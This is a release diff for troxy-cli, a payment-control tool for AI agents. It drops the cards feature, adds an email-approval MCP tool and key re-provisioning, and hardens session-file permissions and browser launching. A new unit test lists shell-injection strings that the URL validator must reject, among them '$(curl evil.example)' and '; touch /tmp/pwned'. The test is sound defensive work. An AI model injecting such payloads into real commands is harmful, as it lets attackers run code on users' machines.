troxy-cli 1.8.3 → 1.8.5

package/bin/troxy.js

@@ -8,7 +8,6 @@ import { loadConfig } from '../src/config.js';
 import { runPolicies }                 from '../src/policies.js';
 import { runMcps }                     from '../src/mcps.js';
 import { runActivity }                 from '../src/activity.js';
-import { runCards }                    from '../src/cards.js';
 import { runSettings }                 from '../src/settings.js';
 import { runChatBudget }               from '../src/chat-budget.js';
 import { runApprovals }                from '../src/approvals.js';
@@ -107,13 +106,15 @@ switch (command) {
     troxy rotate-key
     troxy rotate-key --name "My Agent Key"
 
-  After rotating: run troxy restart to apply the new key.
+  Automatically re-points MCP clients and the background service at the new key.
 `);
       process.exit(0);
     }
     const jwt = requireJwt();
     const { loadConfig, saveConfig } = await import('../src/config.js');
-    const oldKey    = loadConfig()?.apiKey;
+    const { reprovisionKeyConsumers } = await import('../src/init.js');
+    const existing  = loadConfig() || {};
+    const oldKey    = existing.apiKey;
     const oldPrefix = oldKey ? oldKey.substring(0, 11) : null;
     const name = flags.name || null; // keep existing name if not specified
 
@@ -123,11 +124,18 @@ switch (command) {
     const newPrefix = result.prefix;
     console.log('✓');
 
-    saveConfig({ apiKey: newKey });
+    // Merge, don't overwrite — saveConfig({apiKey}) alone used to drop agentName/notify.
+    saveConfig({ ...existing, apiKey: newKey });
     console.log('  Saved to ~/.troxy/config.json ✓');
 
+    // Re-point every real consumer (MCP client configs, the background service) at the new
+    // key BEFORE revoking the old one — otherwise every consumer, which holds the key via
+    // ENV rather than config.json, keeps presenting the now-revoked key and payment control
+    // goes down until the user thinks to re-run init. (H6)
+    await reprovisionKeyConsumers(newKey, existing.agentName || 'my-agent');
+
     if (oldPrefix) {
-      process.stdout.write(`  Revoking old key ${oldPrefix}... `);
+      process.stdout.write(`\n  Revoking old key ${oldPrefix}... `);
       const { tokens = [] } = await api.listTokens(jwt);
       const old = tokens.find(t => t.prefix === oldPrefix);
       if (old) { await api.revokeToken(jwt, old.id); console.log('✓'); }
@@ -142,8 +150,7 @@ switch (command) {
   New key (shown once, save it now):
     ${newKey}
 
-  ~/.troxy/config.json updated ✓
-  Run troxy restart to apply the new key.
+  ~/.troxy/config.json and all connected MCP clients / the background service updated ✓
 `);
     break;
   }
@@ -187,11 +194,10 @@ switch (command) {
     --amount <n>        Payment amount in USD
 
   Optional:
-    --card <alias>      Card alias (default: "Work")
     --category <cat>    Merchant category (e.g. travel, software, food)
     --no-confirm        Don't auto-confirm, leaves the row PENDING
     --fail              Confirm as a failed charge instead of success
-                        (simulates a declined card)
+                        (simulates a declined charge)
 
   Examples:
     troxy pay --merchant "Amazon" --amount 50
@@ -205,14 +211,13 @@ switch (command) {
     if (!apiKey) { console.error('  No API key. Run: troxy init --key txy-...\n'); process.exit(1); }
     const merchant = flags.merchant;
     const amount   = parseFloat(flags.amount);
-    const card     = flags.card || 'Work';
     const category = flags.category;
     const noConfirm = !!flags['no-confirm'];
     const failCharge = !!flags.fail;
     if (!merchant)    { console.error('  --merchant is required\n'); process.exit(1); }
     if (isNaN(amount)){ console.error('  --amount is required\n');   process.exit(1); }
     const agentName = loadConfig()?.agentName || 'troxy-cli';
-    const body = { card_alias: card, merchant_name: merchant, amount, agent: agentName };
+    const body = { merchant_name: merchant, amount, agent: agentName, source: 'troxy-cli' };
     if (category) body.merchant_category = category;
     const result = await api.evaluate(body, apiKey);
     const ICON = { ALLOW: '✓', BLOCK: '✗', ESCALATE: '⏳', NOTIFY: '~' };
@@ -232,7 +237,7 @@ switch (command) {
         await api.confirmPayment(result.audit_id, {
           status,
           provider: 'troxy-cli',
-          ...(failCharge ? { reason: 'simulated card decline (--fail)' } : {}),
+          ...(failCharge ? { reason: 'simulated declined charge (--fail)' } : {}),
         }, apiKey);
         console.log(`  confirmed: charge ${status}`);
       } catch (e) {
@@ -256,10 +261,6 @@ switch (command) {
     await runActivity(flags);
     break;
 
-  case 'cards':
-    await runCards(positional, flags);
-    break;
-
   case 'settings':
     await runSettings(positional, flags);
     break;
@@ -328,10 +329,9 @@ switch (command) {
     if (!sub || sub === 'policies') { await runPolicies(['list'], flags); break; }
     if (sub === 'mcps')             { await runMcps(['list'], flags);     break; }
     if (sub === 'activity')         { await runActivity(flags);           break; }
-    if (sub === 'cards')            { await runCards(['list'], flags);    break; }
     if (sub === 'approvals')        { await runApprovals(['list'], flags); break; }
     if (sub === 'secrets')          { await runSecrets(['list'], flags);  break; }
-    console.error(`  Unknown resource: ${sub}. Try: policies, mcps, activity, cards, approvals, secrets\n`);
+    console.error(`  Unknown resource: ${sub}. Try: policies, mcps, activity, approvals, secrets\n`);
     process.exit(1);
 
   // ── Status ────────────────────────────────────────────────────
@@ -543,12 +543,6 @@ switch (command) {
     troxy policies resume --name "X"
     troxy policies delete --name "X"
 
-  Cards
-    troxy cards list
-    troxy cards create --name "Work" --last4 1234 --budget 2000
-    troxy cards update --name "Work" --budget 3000
-    troxy cards delete --name "Work"
-
   Approvals (ESCALATE holds)
     troxy approvals list
     troxy approvals approve --id <id>
@@ -574,8 +568,8 @@ switch (command) {
     troxy insights [--period 7]
 
   Simulate
-    troxy pay --merchant "Amazon" --amount 50 --card "Work"
-    troxy pay --merchant "Google" --amount 300 --card "Work" --category software
+    troxy pay --merchant "Amazon" --amount 50
+    troxy pay --merchant "Google" --amount 300 --category software
 `);
     process.exit(command ? 1 : 0);
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "troxy-cli",
-  "version": "1.8.3",
+  "version": "1.8.5",
   "description": "AI payment control — protect your agent's payments with policies",
   "type": "module",
   "bin": {

package/src/account.js

@@ -8,7 +8,7 @@ function prompt(question) {
 }
 
 const HELP = {
-  delete:     `  troxy account delete\n\n  PERMANENTLY deletes your Troxy account: all activity, policies, cards,\n  API keys, and the account itself. This cannot be undone. You'll be asked\n  to type your account email to confirm.\n`,
+  delete:     `  troxy account delete\n\n  PERMANENTLY deletes your Troxy account: all activity, policies,\n  API keys, and the account itself. This cannot be undone. You'll be asked\n  to type your account email to confirm.\n`,
   'clear-data': `  troxy account clear-data\n\n  Deletes all activity, policies, and pending approvals. Keeps your account\n  and API keys intact, so your MCP connections keep working.\n`,
 };
 
@@ -24,7 +24,7 @@ export async function runAccount([sub, ...args], flags) {
     case 'delete': {
       const s = await api.getSettings(jwt);
       console.log(`\n  This PERMANENTLY deletes your Troxy account (${s.email}):`);
-      console.log('  all activity, policies, cards, and API keys. This cannot be undone.\n');
+      console.log('  all activity, policies, and API keys. This cannot be undone.\n');
       const typed = await prompt(`  Type your account email to confirm: `);
       if (typed.trim().toLowerCase() !== s.email.toLowerCase()) {
         console.log('\n  Email did not match. Cancelled.\n');

package/src/api.js

@@ -31,12 +31,6 @@ export const api = {
   cliAuthorize:  (jwt, session_id)     => request('POST', '/auth/cli/authorize',  { jwt, body: { session_id } }),
   cliExchange:   (session_id, code)    => request('POST', '/auth/cli/exchange',   { body: { session_id, code } }),
 
-  // Cards
-  listCards:   (jwt)      => request('GET',    '/cards',    { jwt }),
-  createCard:  (jwt, b)   => request('POST',   '/cards',    { jwt, body: b }),
-  updateCard:  (jwt, id, b) => request('PUT',  `/cards/${id}`, { jwt, body: b }),
-  deleteCard:  (jwt, id)  => request('DELETE', `/cards/${id}`, { jwt }),
-
   // Policies
   listPolicies:  (jwt)       => request('GET',    '/dashboard/policies',        { jwt }),
   createPolicy:  (jwt, b)    => request('POST',   '/dashboard/policies',        { jwt, body: b }),
@@ -77,6 +71,7 @@ export const api = {
 
   // Evaluate + confirm (agent API key)
   evaluate: (body, apiKey) => request('POST', '/evaluate', { apiKey, body }),
+  evaluateEmail: (body, apiKey) => request('POST', '/evaluate/email', { apiKey, body }),
   confirmPayment: (auditId, body, apiKey) => request('POST', `/payments/${auditId}/confirm`, { apiKey, body }),
   waitApprovalStatus: (token) => request('GET', `/approvals/${encodeURIComponent(token)}/wait`),
 
@@ -97,7 +92,6 @@ export const api = {
   agentStatus:   (jwt, tokenPrefix) => request('GET', `/agent/status${tokenPrefix ? `?token_prefix=${encodeURIComponent(tokenPrefix)}` : ''}`,   { jwt }),
   agentPolicies: (jwt, tokenPrefix) => request('GET', `/agent/policies${tokenPrefix ? `?token_prefix=${encodeURIComponent(tokenPrefix)}` : ''}`,  { jwt }),
   agentMcps:     (jwt, tokenPrefix) => request('GET', `/agent/mcps${tokenPrefix ? `?token_prefix=${encodeURIComponent(tokenPrefix)}` : ''}`,      { jwt }),
-  agentCards:    (jwt)              => request('GET', '/agent/cards',      { jwt }),
   agentActivity: (jwt, limit, mine, tokenPrefix) => request('GET', `/agent/activity?limit=${limit || 20}${mine ? `&mine=true&token_prefix=${encodeURIComponent(tokenPrefix || '')}` : ''}`, { jwt }),
   agentInsights: (jwt, period)      => request('GET', `/agent/insights?period=${period || 30}`, { jwt }),
 };

package/src/approvals.js

@@ -31,13 +31,12 @@ export async function runApprovals([sub, ...args], flags) {
       if (!approvals.length) { console.log('\n  No pending approvals.\n'); return; }
       console.log();
       table(
-        ['ID', 'Merchant', 'Amount', 'Agent', 'Card', 'Expires'],
+        ['ID', 'Merchant', 'Amount', 'Agent', 'Expires'],
         approvals.map(a => [
           a.id.slice(0, 8),
           a.merchant_name,
           `$${Number(a.amount).toFixed(2)} ${a.currency}`,
           a.agent_name,
-          a.card_name,
           new Date(a.expires_at).toLocaleString(),
         ]),
       );

package/src/auth.js

@@ -2,7 +2,7 @@ import fs       from 'fs';
 import os       from 'os';
 import path     from 'path';
 import readline from 'readline';
-import { exec } from 'child_process';
+import { execFile } from 'child_process';
 import { api }  from './api.js';
 
 const SESSION_FILE = path.join(os.homedir(), '.troxy', 'session.json');
@@ -16,8 +16,13 @@ export function loadSession() {
 }
 
 export function saveSession(data) {
-  fs.mkdirSync(path.dirname(SESSION_FILE), { recursive: true });
-  fs.writeFileSync(SESSION_FILE, JSON.stringify(data, null, 2));
+  // The session file holds a 12h full-authority JWT — lock it down like the API-key
+  // config (0600), not the default ~0644. writeFileSync's mode is ignored when the file
+  // already exists, so chmod explicitly after writing. (H5)
+  const dir = path.dirname(SESSION_FILE);
+  fs.mkdirSync(dir, { recursive: true, mode: 0o700 });
+  fs.writeFileSync(SESSION_FILE, JSON.stringify(data, null, 2), { mode: 0o600 });
+  try { fs.chmodSync(SESSION_FILE, 0o600); } catch {}
 }
 
 export function clearSession() {
@@ -67,15 +72,27 @@ function loadConfig() {
   try { return JSON.parse(fs.readFileSync(p, 'utf8')); } catch { return null; }
 }
 
+// The login URL comes from the (unauthenticated) api.cliStart response, so treat it as
+// untrusted. Only https URLs are openable; even so we pass the URL as an argv element via
+// execFile (no shell) below, so metacharacters can never reach a shell. Exported for tests.
+export function isOpenableUrl(url) {
+  return typeof url === 'string' && /^https:\/\//i.test(url);
+}
+
 function _openBrowser(url) {
   const isHeadless = process.platform === 'linux'
     && !process.env.DISPLAY
     && !process.env.WAYLAND_DISPLAY;
   if (isHeadless) return;
-  const cmd = process.platform === 'darwin' ? `open "${url}"`
-            : process.platform === 'win32'  ? `start "" "${url}"`
-            : `xdg-open "${url}"`;
-  exec(cmd, () => {});
+  if (!isOpenableUrl(url)) return;  // (H4)
+  if (process.platform === 'darwin') {
+    execFile('open', [url], () => {});
+  } else if (process.platform === 'win32') {
+    // rundll32 opens a URL with no shell parsing of the argument.
+    execFile('rundll32', ['url.dll,FileProtocolHandler', url], () => {});
+  } else {
+    execFile('xdg-open', [url], () => {});
+  }
 }
 
 /** Device-code login flow — opens browser, user copies code back to CLI. */

package/src/init.js

@@ -6,6 +6,67 @@ import { execSync, execFileSync } from 'child_process';
 import { saveConfig } from './config.js';
 import { evaluatePayment, api } from './api.js';
 
+// Re-point every consumer of the API key (MCP client configs, the background service /
+// systemd env file / launchd plist, OpenClaw) at `key`. Shared by runInit and rotate-key
+// (H6): rotate-key used to write the new key only to config.json and then revoke the old
+// one immediately, so every real consumer — which holds the key via ENV, not config.json —
+// kept presenting the now-revoked key until the user manually re-ran init. Non-interactive
+// (no prompts), so it's safe to call from rotate-key with the existing agent name.
+export async function reprovisionKeyConsumers(key, agentName) {
+  const platform = process.platform;
+  const detected = MCP_CLIENTS.filter(c => {
+    const p = c.path[platform] ?? c.path.linux;
+    return fs.existsSync(p);
+  });
+
+  let hasOpenClaw = false;
+  try {
+    execSync('openclaw --version', { stdio: 'ignore' });
+    hasOpenClaw = true;
+  } catch {}
+
+  if (detected.length === 0 && !hasOpenClaw) {
+    console.log('\n  No MCP clients detected (Claude Desktop, Cursor, Windsurf, OpenClaw).');
+    console.log('  Troxy MCP server config:\n');
+    console.log(JSON.stringify(mcpEntry(key), null, 4));
+    console.log('\n  Add the above to your MCP client\'s config under "mcpServers".\n');
+  } else {
+    console.log('\n  MCP clients found:');
+    for (const client of detected) {
+      const configPath = client.path[platform] ?? client.path.linux;
+      try {
+        if (client.type === 'zed')      patchZedConfig(configPath, key);
+        else if (client.type === 'continue') patchContinueConfig(configPath, key);
+        else                            patchMcpConfig(configPath, key);
+        console.log(`    • ${client.name}  ✓`);
+      } catch (err) {
+        console.log(`    • ${client.name}  ✗  (${err.message})`);
+      }
+    }
+    if (hasOpenClaw) {
+      try {
+        const entry = JSON.stringify({ command: 'npx', args: ['troxy-cli', 'mcp'], env: { TROXY_API_KEY: key } });
+        // execFileSync passes args directly to the process (no shell), so the
+        // key can't break out of a quoted string and inject shell commands.
+        execFileSync('openclaw', ['mcp', 'set', 'troxy', entry], { stdio: 'ignore' });
+        console.log(`    • OpenClaw  ✓`);
+      } catch (err) {
+        console.log(`    • OpenClaw  ✗  (${err.message})`);
+      }
+    }
+    console.log('\n  Restart your MCP client to activate Troxy.');
+  }
+
+  console.log('\n  Setting up background service...');
+  try {
+    installService(key, agentName);
+    console.log('  Background service installed  ✓');
+  } catch (err) {
+    console.log(`  Background service  ✗  (${err.message})`);
+    console.log('  You can start it manually with: troxy daemon &');
+  }
+}
+
 function prompt(question) {
   const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
   return new Promise(resolve => rl.question(question, ans => { rl.close(); resolve(ans.trim()); }));
@@ -69,11 +130,11 @@ export async function runInit({ key } = {}) {
 
   console.log('\n  Troxy: AI payment control\n');
 
-  // Validate the key by hitting /evaluate (404 card = key is valid, TypeError = network failure)
+  // Validate the key by hitting /evaluate (404 = key is valid, TypeError = network failure)
   process.stdout.write('  Validating API key...  ');
   try {
     await evaluatePayment(
-      { agent: 'troxy-init', card_alias_name: '__ping__', amount: 0 },
+      { agent: 'troxy-init', amount: 0 },
       key,
     );
     console.log('✓');
@@ -90,7 +151,7 @@ export async function runInit({ key } = {}) {
       console.error('\n  Error: Invalid or revoked API key.\n');
       process.exit(1);
     }
-    // 404 (card not found) or any other API error = key is valid, API is up
+    // 404 or any other API error = key is valid, API is up
     console.log('✓');
   }
 
@@ -112,61 +173,7 @@ export async function runInit({ key } = {}) {
     // Non-fatal: the daemon's own heartbeat will retry this later.
   }
 
-  // Detect and patch MCP clients
-  const platform = process.platform;
-  const detected = MCP_CLIENTS.filter(c => {
-    const p = c.path[platform] ?? c.path.linux;
-    return fs.existsSync(p);
-  });
-
-  // Detect OpenClaw via CLI
-  let hasOpenClaw = false;
-  try {
-    execSync('openclaw --version', { stdio: 'ignore' });
-    hasOpenClaw = true;
-  } catch {}
-
-  if (detected.length === 0 && !hasOpenClaw) {
-    console.log('\n  No MCP clients detected (Claude Desktop, Cursor, Windsurf, OpenClaw).');
-    console.log('  Troxy MCP server config:\n');
-    console.log(JSON.stringify(mcpEntry(key), null, 4));
-    console.log('\n  Add the above to your MCP client\'s config under "mcpServers".\n');
-  } else {
-    console.log('\n  MCP clients found:');
-    for (const client of detected) {
-      const configPath = client.path[platform] ?? client.path.linux;
-      try {
-        if (client.type === 'zed')      patchZedConfig(configPath, key);
-        else if (client.type === 'continue') patchContinueConfig(configPath, key);
-        else                            patchMcpConfig(configPath, key);
-        console.log(`    • ${client.name}  ✓`);
-      } catch (err) {
-        console.log(`    • ${client.name}  ✗  (${err.message})`);
-      }
-    }
-    if (hasOpenClaw) {
-      try {
-        const entry = JSON.stringify({ command: 'npx', args: ['troxy-cli', 'mcp'], env: { TROXY_API_KEY: key } });
-        // execFileSync passes args directly to the process (no shell), so the
-        // key can't break out of a quoted string and inject shell commands.
-        execFileSync('openclaw', ['mcp', 'set', 'troxy', entry], { stdio: 'ignore' });
-        console.log(`    • OpenClaw  ✓`);
-      } catch (err) {
-        console.log(`    • OpenClaw  ✗  (${err.message})`);
-      }
-    }
-    console.log('\n  Restart your MCP client to activate Troxy.');
-  }
-
-  // Install background service so MCP server survives reboots
-  console.log('\n  Setting up background service...');
-  try {
-    installService(key, agentName);
-    console.log('  Background service installed  ✓');
-  } catch (err) {
-    console.log(`  Background service  ✗  (${err.message})`);
-    console.log('  You can start it manually with: troxy daemon &');
-  }
+  await reprovisionKeyConsumers(key, agentName);
 
   console.log('\n  Your payments are now protected.');
   console.log('  Dashboard → https://dash.troxy.io');

package/src/mcp-server.js

@@ -7,6 +7,7 @@ import {
 import { loadConfig }      from './config.js';
 import { evaluatePayment, api } from './api.js';
 const confirmPayment = (auditId, body, apiKey) => api.confirmPayment(auditId, body, apiKey);
+const evaluateEmail   = (body, apiKey) => api.evaluateEmail(body, apiKey);
 
 export async function runMcp() {
   const config    = loadConfig();
@@ -38,7 +39,8 @@ export async function runMcp() {
         'If the decision is ESCALATE, the response includes an approval_token. Immediately call wait_for_payment_approval with that token; it polls automatically until the payment is approved or declined (up to 10 minutes). Once it returns approved, call evaluate_payment again with the same payment details PLUS the approval_token field. The second call will return ALLOW without re-escalating. ' +
         'If the decision is NOTIFY, proceed but the user will be notified. ' +
         'When calling evaluate_payment, use the merchant\'s domain name as merchant_name when available (e.g. "amazon.com", "indigobloom.co.il"); this ensures consistent matching against policies. ' +
-        'After every ALLOW or NOTIFY decision, attempt the payment, then call confirm_payment with the audit_id and the outcome (success/failed/cancelled). Always include a reason when the charge fails.',
+        'After every ALLOW or NOTIFY decision, attempt the payment, then call confirm_payment with the audit_id and the outcome (success/failed/cancelled). Always include a reason when the charge fails. ' +
+        'You MUST also call the evaluate_email tool before sending any email on the user\'s behalf. Never send an email without first receiving an ALLOW or NOTIFY decision. If BLOCK, do not send it. If ESCALATE, call wait_for_payment_approval with the returned approval_token (same wait mechanism payments use), then call evaluate_email again with the approval_token once approved.',
     },
     { capabilities: { tools: {} } },
   );
@@ -133,6 +135,34 @@ export async function runMcp() {
           },
         },
       },
+      {
+        name: 'evaluate_email',
+        description:
+          'Evaluate whether sending an email should be allowed, blocked, or escalated ' +
+          'based on your Troxy policies. Call this before sending any email on the user\'s behalf.',
+        inputSchema: {
+          type: 'object',
+          required: ['recipient'],
+          properties: {
+            recipient: {
+              type: 'string',
+              description: 'Email address of the recipient',
+            },
+            subject: {
+              type: 'string',
+              description: 'Subject line of the email (optional)',
+            },
+            agent: {
+              type: 'string',
+              description: 'Name of the agent sending the email (optional)',
+            },
+            approval_token: {
+              type: 'string',
+              description: 'Approval token from a previous ESCALATE response. Include this to proceed after the user has approved.',
+            },
+          },
+        },
+      },
     ],
   }));
 
@@ -203,6 +233,45 @@ export async function runMcp() {
       }
     }
 
+    if (toolName === 'evaluate_email') {
+      if (agentName && !args.agent) args.agent = agentName;
+      let result;
+      try {
+        result = await evaluateEmail(args, apiKey);
+      } catch (err) {
+        return {
+          content: [{ type: 'text', text: `Troxy error: ${err.message}` }],
+          isError: true,
+        };
+      }
+      if (result.error) {
+        return {
+          content: [{ type: 'text', text: `Troxy error: ${result.error}` }],
+          isError: true,
+        };
+      }
+      const { decision, reason, audit_id, approval_token } = result;
+      let emailText;
+      switch (decision) {
+        case 'ALLOW':
+        case 'NOTIFY':
+          emailText = `✓ Email approved.${reason ? ` ${reason}` : ''} You may send it now. (audit: ${audit_id})`;
+          break;
+        case 'BLOCK':
+          emailText = `✗ Email blocked.${reason ? ` ${reason}` : ''} Do not send it. (audit: ${audit_id})`;
+          break;
+        case 'ESCALATE':
+          emailText = `⏳ Email requires human approval; a request has been sent to the account owner.\n\nApproval token: ${approval_token}\n\nNow call wait_for_payment_approval(approval_token="${approval_token}") to automatically detect approval, then call evaluate_email again with the same recipient/subject PLUS this approval_token. Do not send until it returns approved.`;
+          break;
+        default:
+          emailText = JSON.stringify(result);
+      }
+      return {
+        content: [{ type: 'text', text: emailText }],
+        isError: decision === 'BLOCK',
+      };
+    }
+
     if (toolName !== 'evaluate_payment') {
       throw new Error(`Unknown tool: ${toolName}`);
     }

package/src/tests/auth.test.js

@@ -0,0 +1,27 @@
+import { test } from 'node:test';
+import assert from 'node:assert';
+
+import { isOpenableUrl } from '../auth.js';
+
+test('isOpenableUrl accepts plain https and rejects everything else (H4)', () => {
+  assert.equal(isOpenableUrl('https://dash.troxy.io/cli?code=abc'), true);
+
+  // Non-https schemes and non-strings are rejected outright, so a server-controlled
+  // login URL can never be handed to a shell. (Even an https URL is only ever passed as a
+  // single argv element to execFile, never through a shell.)
+  for (const bad of [
+    'http://x',
+    'file:///etc/passwd',
+    'javascript:alert(1)',
+    '$(curl evil.example)',
+    '`id`',
+    '; touch /tmp/pwned',
+    'ftp://x',
+    '',
+    null,
+    undefined,
+    42,
+  ]) {
+    assert.equal(isOpenableUrl(bad), false, `should reject: ${String(bad)}`);
+  }
+});

package/src/cards.js

@@ -1,107 +0,0 @@
-import { api }         from './api.js';
-import { requireJwt }  from './auth.js';
-import { table }       from './print.js';
-
-const HELP = {
-  list:   `  troxy cards list\n\n  Lists all cards (budget/spend aliases) on your account.\n`,
-  create: `  troxy cards create --name <name> --last4 <4 digits> [options]\n\n  Creates a new card alias. Login required.\n\n  Required:\n    --name    Card alias name (e.g. "Work")\n    --last4   Last 4 digits of the card\n\n  Optional:\n    --type              Card type label (default: virtual)\n    --budget <n>        Monthly budget amount\n    --reset-day <n>     Day of month the budget resets (default: 1)\n    --default-action    ALLOW, BLOCK, ESCALATE, or NOTIFY (default: ALLOW)\n    --notes <text>      Free text notes\n\n  Example:\n    troxy cards create --name "Work" --last4 1234 --budget 2000\n`,
-  update: `  troxy cards update --name <name> [options]\n\n  Updates an existing card. Login required.\n\n  Options:\n    --new-name <name>    Rename the card\n    --budget <n>         Set the monthly budget\n    --clear-budget       Remove the monthly budget\n    --reset-day <n>      Day of month the budget resets\n    --status <status>    active or paused\n    --default-action     ALLOW, BLOCK, ESCALATE, or NOTIFY\n    --notes <text>       Free text notes\n\n  Example:\n    troxy cards update --name "Work" --budget 3000\n`,
-  delete: `  troxy cards delete --name <name>\n\n  Permanently deletes a card. Login required.\n`,
-};
-
-export async function runCards([sub, ...args], flags) {
-  if (flags.help || flags.h) {
-    console.log('\n' + (HELP[sub] || `  troxy cards <subcommand> [options]\n\n  Subcommands:\n    list      List all cards\n    create    Create a new card\n    update    Update an existing card\n    delete    Delete a card\n\n  Run 'troxy cards <subcommand> --help' for subcommand help.\n`));
-    process.exit(0);
-  }
-
-  const jwt = requireJwt();
-
-  switch (sub || 'list') {
-    case 'list': {
-      const { cards = [] } = await api.listCards(jwt);
-      if (!cards.length) { console.log('\n  No cards yet.\n'); return; }
-      console.log();
-      table(
-        ['Name', 'Last 4', 'Type', 'Budget', 'Used', 'Reset day', 'Status', 'Default action'],
-        cards.map(c => [
-          c.name,
-          c.last4,
-          c.type,
-          c.budget != null ? `$${Number(c.budget).toFixed(2)}` : '—',
-          c.budget != null ? `$${Number(c.budget_used).toFixed(2)}` : '—',
-          c.reset_day,
-          c.status,
-          c.default_action,
-        ]),
-      );
-      break;
-    }
-
-    case 'create': {
-      const name  = flags.name;
-      const last4 = String(flags.last4 ?? '');
-      if (!name) { console.error('  --name is required\n'); process.exit(1); }
-      if (!/^\d{4}$/.test(last4)) { console.error('  --last4 must be exactly 4 digits\n'); process.exit(1); }
-      const action = flags['default-action'] ? flags['default-action'].toUpperCase() : undefined;
-      if (action && !['ALLOW', 'BLOCK', 'ESCALATE', 'NOTIFY'].includes(action)) {
-        console.error('  --default-action must be ALLOW, BLOCK, ESCALATE, or NOTIFY\n'); process.exit(1);
-      }
-      const body = {
-        name, last4,
-        type: flags.type || undefined,
-        budget: flags.budget != null ? parseFloat(flags.budget) : undefined,
-        reset_day: flags['reset-day'] != null ? parseInt(flags['reset-day'], 10) : undefined,
-        default_action: action,
-        notes: flags.notes || undefined,
-      };
-      const card = await api.createCard(jwt, body);
-      console.log(`\n  Card "${card.name}" created ✓  (•••• ${card.last4})\n`);
-      break;
-    }
-
-    case 'update': {
-      const name = flags.name;
-      if (!name) { console.error('  --name is required\n'); process.exit(1); }
-      const { cards = [] } = await api.listCards(jwt);
-      const card = cards.find(c => c.name.toLowerCase() === name.toLowerCase());
-      if (!card) { console.error(`  Card "${name}" not found\n`); process.exit(1); }
-
-      const body = {};
-      if (flags['new-name']) body.name = flags['new-name'];
-      if (flags['clear-budget']) body.budget = null;
-      else if (flags.budget != null) body.budget = parseFloat(flags.budget);
-      if (flags['reset-day'] != null) body.reset_day = parseInt(flags['reset-day'], 10);
-      if (flags.status) body.status = flags.status;
-      if (flags['default-action']) {
-        const action = flags['default-action'].toUpperCase();
-        if (!['ALLOW', 'BLOCK', 'ESCALATE', 'NOTIFY'].includes(action)) {
-          console.error('  --default-action must be ALLOW, BLOCK, ESCALATE, or NOTIFY\n'); process.exit(1);
-        }
-        body.default_action = action;
-      }
-      if (flags.notes != null) body.notes = flags.notes;
-      if (Object.keys(body).length === 0) { console.error('  Nothing to update, pass at least one option\n'); process.exit(1); }
-
-      await api.updateCard(jwt, card.id, body);
-      console.log(`\n  Card "${name}" updated ✓\n`);
-      break;
-    }
-
-    case 'delete': {
-      const name = flags.name;
-      if (!name) { console.error('  --name is required\n'); process.exit(1); }
-      const { cards = [] } = await api.listCards(jwt);
-      const card = cards.find(c => c.name.toLowerCase() === name.toLowerCase());
-      if (!card) { console.error(`  Card "${name}" not found\n`); process.exit(1); }
-      await api.deleteCard(jwt, card.id);
-      console.log(`\n  Card "${name}" deleted ✓\n`);
-      break;
-    }
-
-    default:
-      console.error(`  Unknown subcommand: ${sub}`);
-      console.error('  Usage: troxy cards [list|create|update|delete]\n');
-      process.exit(1);
-  }
-}